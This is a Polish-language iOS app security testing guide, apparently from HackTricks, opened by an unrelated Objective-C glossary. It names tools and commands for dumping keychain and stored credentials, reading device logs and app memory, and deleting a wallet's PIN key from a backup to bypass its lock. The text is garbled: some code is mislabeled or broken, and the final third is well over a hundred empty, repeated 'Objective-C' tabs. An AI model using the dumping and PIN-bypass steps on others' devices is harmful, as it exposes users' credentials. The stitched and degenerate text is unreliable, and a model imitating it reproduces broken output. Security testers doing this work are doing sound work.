Klasa w Objective-C jest podstawową jednostką programową, która definiuje obiekt. Składa się z deklaracji interfejsu i implementacji. Interfejs klasy zawiera deklaracje metod i właściwości, podczas gdy implementacja zawiera kod źródłowy tych metod.
```objective-c
@interface MojaKlasa : NSObject
@property (nonatomic, strong) NSString *nazwa;
- (void)metoda;
@end
@implementation MojaKlasa
- (void)metoda {
NSLog(@"Wywołano metodę");
}
@end
```
### Metoda
Metoda w Objective-C jest funkcją, która jest wywoływana na obiekcie danej klasy. Może przyjmować argumenty i zwracać wartość. Metody są deklarowane w interfejsie klasy i implementowane w jej implementacji.
```objective-c
- (void)metoda {
// Kod metody
}
```
### Właściwość
Właściwość w Objective-C jest mechanizmem dostępu do danych obiektu. Może mieć określony typ i atrybuty, takie jak `readonly` lub `readwrite`. Właściwości są deklarowane w interfejsie klasy i automatycznie generują getterów i setterów.
```objective-c
@property (nonatomic, strong) NSString *nazwa;
```
### Wiązanie dynamiczne
Wiązanie dynamiczne w Objective-C odnosi się do procesu wywoływania metod w czasie wykonania. W odróżnieniu od wiązania statycznego, które odbywa się podczas kompilacji, wiązanie dynamiczne pozwala na elastyczne wywoływanie metod w zależności od typu obiektu.
```objective-c
MojaKlasa *obiekt = [[MojaKlasa alloc] init];
[obiekt metoda];
```
### Selektor
Selektor w Objective-C jest identyfikatorem metody. Może być używany do dynamicznego wywoływania metod na obiekcie. Selektor jest reprezentowany przez typ `SEL`.
```objective-c
SEL metodaSelector = @selector(metoda);
[obiekt performSelector:metodaSelector];
```
### Kategoria
Kategoria w Objective-C pozwala na dodawanie metod do istniejącej klasy bez konieczności modyfikowania jej kodu źródłowego. Kategoria jest używana do rozszerzania funkcjonalności istniejących klas.
```objective-c
@interface MojaKlasa (Kategoria)
- (void)nowaMetoda;
@end
@implementation MojaKlasa (Kategoria)
- (void)nowaMetoda {
NSLog(@"Nowa metoda");
}
@end
```
### Protokół
Protokół w Objective-C definiuje zestaw wymaganych i opcjonalnych metod, które klasa może zaimplementować. Protokół jest używany do zapewnienia spójności interfejsu między klasami.
```objective-c
@protocol MójProtokół
- (void)wymaganaMetoda;
@optional
- (void)opcjonalnaMetoda;
@end
```
### ARC (Automatyczne Zarządzanie Pamięcią)
ARC w Objective-C jest mechanizmem automatycznego zarządzania pamięcią. Eliminuje potrzebę ręcznego zarządzania pamięcią poprzez automatyczne dodawanie i usuwanie instrukcji `retain`, `release` i `autorelease`.
```objective-c
MojaKlasa *obiekt = [[MojaKlasa alloc] init];
// ARC automatycznie zarządza pamięcią
```
### Referencje słabe
Referencje słabe w Objective-C są używane do unikania cyklicznych odwołań między obiektami. Obiekty, na które wskazują referencje słabe, mogą zostać automatycznie zwolnione, jeśli nie są już referencjonowane przez inne obiekty.
```objective-c
@property (nonatomic, weak) MojaKlasa *referencjaSlaba;
```
### Referencje silne
Referencje silne w Objective-C są używane do utrzymania obiektów w pamięci. Obiekty, na które wskazują referencje silne, nie zostaną automatycznie zwolnione, dopóki nie zostaną one ustawione na `nil`.
```objective-c
@property (nonatomic, strong) MojaKlasa *referencjaSilna;
```
### Bloki
Bloki w Objective-C są obiektami, które mogą przechowywać kod. Mogą być przekazywane jako argumenty do innych metod i wywoływane w dowolnym miejscu w kodzie.
```objective-c
void (^blok)(void) = ^{
NSLog(@"Wywołano blok");
};
blok();
```
### Wyjątki
Wyjątki w Objective-C są używane do obsługi błędów i wyjątkowych sytuacji. Wyjątki mogą być zgłaszane i przechwytywane za pomocą instrukcji `@try`, `@catch` i `@finally`.
```objective-c
@try {
// Kod, który może zgłosić wyjątek
}
@catch (NSException *exception) {
// Obsługa zgłoszonego wyjątku
}
@finally {
// Kod, który zostanie wykonany niezależnie od zgłoszonego wyjątku
}
```
```
@property (UIImageView *)backgroundImage;
- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}
- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}
```
To ustawia obraz tła na `overlayImage.png` za każdym razem, gdy aplikacja jest w tle. Zapobiega to wyciekom poufnych danych, ponieważ `overlayImage.png` zawsze zastępuje bieżący widok.
### Keychain
Do dostępu i zarządzania iOS keychain, dostępne są narzędzia takie jak [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper), które są odpowiednie dla urządzeń z jailbreakiem. Dodatkowo, [**Objection**](https://github.com/sensepost/objection) udostępnia polecenie `ios keychain dump` do podobnych celów.
#### **Przechowywanie poświadczeń**
Klasa **NSURLCredential** jest idealna do przechowywania poufnych informacji bezpośrednio w keychain, omijając konieczność użycia NSUserDefaults lub innych opakowań. Aby przechowywać poświadczenia po zalogowaniu, używany jest następujący kod Swift:
```swift
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
```
Aby wyodrębnić te przechowywane poświadczenia, używane jest polecenie Objection `ios nsurlcredentialstorage dump`.
## **Niestandardowe klawiatury i pamięć podręczna klawiatury**
Od wersji iOS 8.0 użytkownicy mogą instalować rozszerzenia niestandardowych klawiatur, które można zarządzać w **Ustawienia > Ogólne > Klawiatura > Klawiatury**. Chociaż te klawiatury oferują rozszerzoną funkcjonalność, stanowią ryzyko rejestrowania naciśniętych klawiszy i przesyłania danych do zewnętrznych serwerów, choć użytkownicy są informowani o klawiaturach wymagających dostępu do sieci. Aplikacje mogą i powinny ograniczać korzystanie z niestandardowych klawiatur do wprowadzania informacji poufnych.
**Zalecenia dotyczące bezpieczeństwa:**
- Zaleca się wyłączenie klawiatur stron trzecich dla zwiększenia bezpieczeństwa.
- Należy być świadomym funkcji autocorrect i auto-sugestii domyślnej klawiatury iOS, która może przechowywać poufne informacje w plikach pamięci podręcznej znajdujących się w `Library/Keyboard/{locale}-dynamic-text.dat` lub `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Te pliki pamięci podręcznej powinny być regularnie sprawdzane pod kątem poufnych danych. Zaleca się resetowanie słownika klawiatury za pomocą **Ustawienia > Ogólne > Resetuj > Resetuj słownik klawiatury** w celu wyczyszczenia danych w pamięci podręcznej.
- Przechwycenie ruchu sieciowego może ujawnić, czy niestandardowa klawiatura przesyła zdalnie naciśnięte klawisze.
### **Zapobieganie buforowaniu pól tekstowych**
Protokół [UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) oferuje właściwości do zarządzania autokorektą i wprowadzaniem tekstu zabezpieczonego, co jest niezbędne do zapobiegania buforowaniu poufnych informacji. Na przykład, wyłączenie autokorekty i włączenie wprowadzania tekstu zabezpieczonego można osiągnąć za pomocą:
```objectivec
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
```
Dodatkowo, programiści powinni upewnić się, że pola tekstowe, zwłaszcza te służące do wprowadzania wrażliwych informacji, takich jak hasła i PIN-y, wyłączają buforowanie, ustawiając `autocorrectionType` na `UITextAutocorrectionTypeNo` i `secureTextEntry` na `YES`.
```objectivec
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
```
## **Dzienniki**
Debugowanie kodu często wymaga użycia **dzienników**. Istnieje ryzyko związane z tym, że **dzienniki mogą zawierać poufne informacje**. Wcześniej, w systemie iOS 6 i wcześniejszych wersjach, dzienniki były dostępne dla wszystkich aplikacji, co stanowiło ryzyko wycieku poufnych danych. **Obecnie aplikacje mają ograniczony dostęp tylko do swoich dzienników**.
Mimo tych ograniczeń, **atakujący mający fizyczny dostęp** do odblokowanego urządzenia wciąż może wykorzystać to, podłączając urządzenie do komputera i **czytając dzienniki**. Ważne jest zauważenie, że dzienniki pozostają na dysku nawet po odinstalowaniu aplikacji.
Aby zmniejszyć ryzyko, zaleca się **dokładne interakcje z aplikacją**, eksplorowanie wszystkich jej funkcji i wprowadzanych danych, aby upewnić się, że nie są nieumyślnie rejestrowane poufne informacje.
Podczas przeglądania kodu źródłowego aplikacji w poszukiwaniu potencjalnych wycieków, należy szukać zarówno **predefiniowanych** jak i **niestandardowych instrukcji logowania** za pomocą słów kluczowych takich jak `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` dla wbudowanych funkcji oraz wszelkich wzmianek o `Logging` lub `Logfile` dla niestandardowych implementacji.
### **Monitorowanie dzienników systemowych**
Aplikacje rejestrują różne informacje, które mogą być poufne. Aby monitorować te dzienniki, można używać narzędzi i poleceń takich jak:
```bash
idevice_id --list # To find the device ID
idevicesyslog -u (| grep ) # To capture the device logs
```
są przydatne. Dodatkowo, **Xcode** umożliwia zbieranie logów konsoli:
1. Otwórz Xcode.
2. Podłącz urządzenie iOS.
3. Przejdź do **Okno** -> **Urządzenia i symulatory**.
4. Wybierz swoje urządzenie.
5. Wywołaj problem, który badasz.
6. Użyj przycisku **Otwórz konsolę**, aby wyświetlić logi w nowym oknie.
Aby uzyskać bardziej zaawansowane logowanie, połączenie z powłoką urządzenia i użycie **socat** może umożliwić monitorowanie logów w czasie rzeczywistym:
```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
Następnie wykonaj polecenia, aby obserwować aktywność dziennika, co może być nieocenione przy diagnozowaniu problemów lub identyfikowaniu potencjalnych wycieków danych w dziennikach.
***
\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Kopie zapasowe
Funkcje **automatycznego tworzenia kopii zapasowych** są zintegrowane w systemie iOS i ułatwiają tworzenie kopii danych urządzenia za pomocą iTunes (do macOS Catalina), Finder (od macOS Catalina) lub iCloud. Kopie zapasowe obejmują prawie wszystkie dane urządzenia, z wyjątkiem bardzo wrażliwych elementów, takich jak szczegóły Apple Pay i konfiguracje Touch ID.
### Ryzyko bezpieczeństwa
Włączenie **zainstalowanych aplikacji i ich danych** do kopii zapasowych stwarza ryzyko potencjalnego **wycieku danych** i zagrożenia, że **modyfikacje kopii zapasowych mogą zmienić funkcjonalność aplikacji**. Zaleca się **nie przechowywać wrażliwych informacji w postaci tekstowej** w katalogu aplikacji lub jego podkatalogach, aby zminimalizować te ryzyka.
### Wyłączanie plików z kopii zapasowych
Pliki w `Documents/` i `Library/Application Support/` są domyślnie kopiowane do kopii zapasowych. Deweloperzy mogą wykluczyć określone pliki lub katalogi z kopii zapasowych, używając `NSURL setResourceValue:forKey:error:` z `NSURLIsExcludedFromBackupKey`. Ta praktyka jest istotna dla ochrony wrażliwych danych przed uwzględnieniem ich w kopii zapasowej.
### Testowanie podatności
Aby ocenić bezpieczeństwo kopii zapasowej aplikacji, rozpocznij od **utworzenia kopii zapasowej** za pomocą Finder, a następnie zlokalizuj ją, korzystając z instrukcji w [oficjalnej dokumentacji Apple](https://support.apple.com/en-us/HT204215). Analizuj kopię zapasową pod kątem wrażliwych danych lub konfiguracji, które mogą zostać zmienione, aby wpłynąć na zachowanie aplikacji.
Wrażliwe informacje można wyszukać za pomocą narzędzi wiersza poleceń lub aplikacji takich jak [iMazing](https://imazing.com). W przypadku zaszyfrowanych kopii zapasowych można potwierdzić obecność szyfrowania, sprawdzając klucz "IsEncrypted" w pliku "Manifest.plist" w głównym katalogu kopii zapasowej.
```xml
...
Date2021-03-12T17:43:33ZIsEncrypted
...
```
Aby radzić sobie z zaszyfrowanymi kopiami zapasowymi, mogą być przydatne skrypty Python dostępne w repozytorium [GitHub DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), takie jak **backup_tool.py** i **backup_passwd.py**, choć mogą wymagać dostosowania do najnowszych wersji iTunes/Finder. Inną opcją dostępu do plików w zabezpieczonych hasłem kopii zapasowych jest narzędzie [**iOSbackup**](https://pypi.org/project/iOSbackup/).
### Modyfikowanie zachowania aplikacji
Przykład zmiany zachowania aplikacji poprzez modyfikacje kopii zapasowej jest pokazany w aplikacji portfela bitcoin [Bither](https://github.com/bither/bither-ios), gdzie PIN blokady interfejsu jest przechowywany w pliku `net.bither.plist` pod kluczem **pin_code**. Usunięcie tego klucza z pliku plist i przywrócenie kopii zapasowej usuwa wymaganie PIN, umożliwiając nielimitowany dostęp.
## Podsumowanie dotyczące testowania pamięci wrażliwej na dane
Podczas pracy z wrażliwymi informacjami przechowywanymi w pamięci aplikacji, ważne jest ograniczenie czasu ekspozycji tych danych. Istnieją dwie podstawowe metody badania zawartości pamięci: **tworzenie zrzutu pamięci** i **analiza pamięci w czasie rzeczywistym**. Oba metody mają swoje wyzwania, w tym potencjalne pominięcie istotnych danych podczas procesu zrzutu lub analizy.
## **Pobieranie i analiza zrzutu pamięci**
Dla urządzeń z jailbreakiem i bez jailbreaka, narzędzia takie jak [objection](https://github.com/sensepost/objection) i [Fridump](https://github.com/Nightbringer21/fridump) umożliwiają zrzucanie pamięci procesu aplikacji. Po zrzuceniu, do analizy tych danych wymagane są różne narzędzia, w zależności od rodzaju poszukiwanych informacji.
Aby wyodrębnić ciągi znaków z zrzutu pamięci, można użyć poleceń takich jak `strings` lub `rabin2 -zz`:
```bash
# Extracting strings using strings command
$ strings memory > strings.txt
# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt
```
Dla bardziej szczegółowej analizy, w tym wyszukiwania konkretnych typów danych lub wzorców, **radare2** oferuje rozległe możliwości wyszukiwania:
```bash
$ r2
[0x00000000]> /?
...
```
## **Analiza pamięci w czasie rzeczywistym**
**r2frida** dostarcza potężnej alternatywy do badania pamięci aplikacji w czasie rzeczywistym, bez konieczności tworzenia zrzutu pamięci. Narzędzie to umożliwia wykonywanie poleceń wyszukiwania bezpośrednio w pamięci działającej aplikacji:
```bash
$ r2 frida://usb//
[0x00000000]> /\
```
## Słaba kryptografia
### Niewłaściwe procesy zarządzania kluczami
Niektórzy programiści zapisują wrażliwe dane w lokalnym magazynie i szyfrują je kluczem wpisanym/wykrywalnym w kodzie. Nie powinno się tego robić, ponieważ odwrócenie procesu może umożliwić atakującym wydobycie poufnych informacji.
### Użycie niebezpiecznych i/lub przestarzałych algorytmów
Programiści nie powinni używać **przestarzałych algorytmów** do przeprowadzania **sprawdzeń** autoryzacji, **przechowywania** lub **wysyłania** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli do przechowywania haseł używane są **skróty**, powinny być używane skróty odporne na ataki brute-force z solą.
### Sprawdzenie
Główne sprawdzenia, które należy przeprowadzić, to znalezienie **wpisanych w kodzie** haseł/tajemnic lub sprawdzenie, czy są one **przewidywalne**, oraz sprawdzenie, czy kod używa jakiegoś rodzaju **słabych** **algorytmów kryptograficznych**.
Warto wiedzieć, że można **monitorować** niektóre **biblioteki kryptograficzne** automatycznie za pomocą narzędzia **objection** przy użyciu:
```swift
ios monitor crypt
```
Dla **więcej informacji** na temat interfejsów API i bibliotek kryptograficznych iOS odwiedź [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
## Lokalna autoryzacja
**Lokalna autoryzacja** odgrywa kluczową rolę, zwłaszcza jeśli chodzi o zabezpieczanie dostępu do zdalnego punktu końcowego za pomocą metod kryptograficznych. Istotą jest, że bez odpowiedniej implementacji mechanizmy lokalnej autoryzacji mogą zostać obejścia.
**[Framework Local Authentication](https://developer.apple.com/documentation/localauthentication)** firmy Apple oraz **[keychain](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)** zapewniają programistom solidne interfejsy API do ułatwiania dialogów autoryzacyjnych użytkownika i bezpiecznego obsługiwania poufnych danych. Bezpieczne schowki zabezpieczają odciski palców dla Touch ID, podczas gdy Face ID polega na rozpoznawaniu twarzy bez narażania danych biometrycznych.
Aby zintegrować Touch ID/Face ID, programiści mają do wyboru dwie opcje API:
- **`LocalAuthentication.framework`** dla autoryzacji użytkownika na wysokim poziomie bez dostępu do danych biometrycznych.
- **`Security.framework`** dla dostępu do usług schowka na niższym poziomie, zabezpieczającego poufne dane za pomocą autoryzacji biometrycznej. Różne [oparte na kodzie źródłowym nakładki](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) ułatwiają dostęp do schowka.
{% hint style="danger" %}
Jednak zarówno `LocalAuthentication.framework`, jak i `Security.framework` mają podatności, ponieważ zwracają przede wszystkim wartości logiczne bez przesyłania danych do procesów autoryzacyjnych, co czyni je podatnymi na obejście (patrz [Don't touch me that way, autorstwa Davida Lindnera i innych](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
{% endhint %}
### Implementacja lokalnej autoryzacji
Aby poprosić użytkowników o autoryzację, programiści powinni używać metody **`evaluatePolicy`** w klasie **`LAContext`**, wybierając spośród:
- **`deviceOwnerAuthentication`**: Wymaga użycia Touch ID lub kodu dostępu do urządzenia, nie powiedzie się, jeśli żadne z nich nie jest włączone.
- **`deviceOwnerAuthenticationWithBiometrics`**: Wyłącznie wymaga użycia Touch ID.
Pomyślna autoryzacja jest wskazywana przez wartość logiczną zwracaną przez **`evaluatePolicy`**, co może wskazywać na potencjalną lukę w zabezpieczeniach.
### Lokalna autoryzacja za pomocą schowka
Implementacja **lokalnej autoryzacji** w aplikacjach iOS polega na użyciu **API schowka** do bezpiecznego przechowywania poufnych danych, takich jak tokeny autoryzacyjne. Ten proces zapewnia, że dane mogą być dostępne tylko przez użytkownika, korzystając z kodu dostępu do urządzenia lub autoryzacji biometrycznej, takiej jak Touch ID.
Schowek oferuje możliwość ustawienia elementów z atrybutem `SecAccessControl`, który ogranicza dostęp do elementu do momentu, gdy użytkownik pomyślnie autoryzuje się za pomocą Touch ID lub kodu dostępu do urządzenia. Ta funkcja jest kluczowa dla poprawy bezpieczeństwa.
Poniżej znajdują się przykłady kodu w języku Swift i Objective-C, które pokazują, jak zapisać i odczytać ciąg znaków do/z schowka, wykorzystując te funkcje zabezpieczeń. Przykłady pokazują specyficzne konfiguracje kontroli dostępu, które wymagają autoryzacji Touch ID i zapewniają, że dane są dostępne tylko na urządzeniu, na którym zostały skonfigurowane, pod warunkiem, że skonfigurowano kod dostępu do urządzenia.
{% tabs %}
{% tab title="Swift" %}
```swift
// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md
// 1. create AccessControl object that will represent authentication settings
var error: Unmanaged?
guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object
return
}
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
var query: [String: Any] = [:]
query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl
// 3. save item
let status = SecItemAdd(query as CFDictionary, nil)
if status == noErr {
// successfully saved
} else {
// error while saving
}
```
{% endtab %}
{% tab title="Objective-C" %}Objective-C{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
